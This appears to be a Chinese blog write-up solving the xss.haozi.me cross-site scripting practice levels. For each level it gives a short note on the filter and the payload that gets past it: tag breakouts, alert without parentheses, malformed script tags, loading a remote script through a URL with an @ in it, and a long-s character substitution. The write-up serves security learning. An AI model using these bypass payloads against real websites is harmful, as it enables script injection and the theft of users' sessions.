0x00
<script>alert(1)</script>
0x01
html中闭合即可执行
<script>alert(1)</script>
0x02
html中闭合input标签
"><script>alert(1)</script>
0x03
服务器过滤括号()
,不使用括号即可
<script>alert`1`</script>
0x04
服务器过滤括号和反引号()
, \`
\<svg\>可以执行unicode
<svg><script>alert(1)</script></svg>
0x05
服务器将-->
转义
--!><script>alert(1)</script>
0x06
服务器正则匹配on开头=结尾的全部转义
onmouseover ="alert(1)"
type=image src onerror =alert(1)
类似即可
0x07
服务器正则匹配
<>
,以<
开头,以>
结尾的全部替换为空
所以只以<
开头,不写>
,即可<svg onmouseover="alert(1)"
0x08
将
</style>转义为坏蛋两个字
</style ><script>alert(1)</script>
0x09
必须包含提供的网址,输入网址后,对其中的
</script>
闭合构造新的语句http://www.sementfault.com"></script><script>alert(1)</script>
0x0A
将
&"'<>/
进行了转义,并且必须包含网址,输入网址后,添加@及js地址,实现绕过http://[email protected]/j.js
0x0B
将输入的内容转义成大写,html、标签、域名不区分大小写,js区分大小写,让服务器返回J.JS即可
<script src="http://127.0.0.1/xss_1/j.js"></script>
0x0C
过滤
script
,进行畸形构造scrscriptipt
<scrscriptipt scr="http://127.0.0.1/j.js"></scrscriptipt>
0x0D
过滤了
</'"
并对alert()进行了注释,通过回车破坏注释结构,结束时使用-->
注释掉')
alert(1) -->
0x0E
对
<
后面加一个字符进行过滤,即<s
转义欸<_s
使用ſ
字符来替代s
<ſcript scr="http://127.0.0.1/xss_1/j.js"
0x0F
对
&'"<>\
进行过滤,但是浏览器会先解析html,再解析js');alert('1
0x10
无过滤,直接在
<script>
中执行即可alert(1)
0x11
"
转义为\"
,虽然转义,但是不影响闭合");alert(1)//
0x12
对
"
过滤为\"
,不影响注入,重新构造script</script><script>alert(1)</script>
《XSS.haozi.me的XSS练习》链接:https://xdym11235.com/archives/20.html
具体版权规定详见侧栏版权说明页面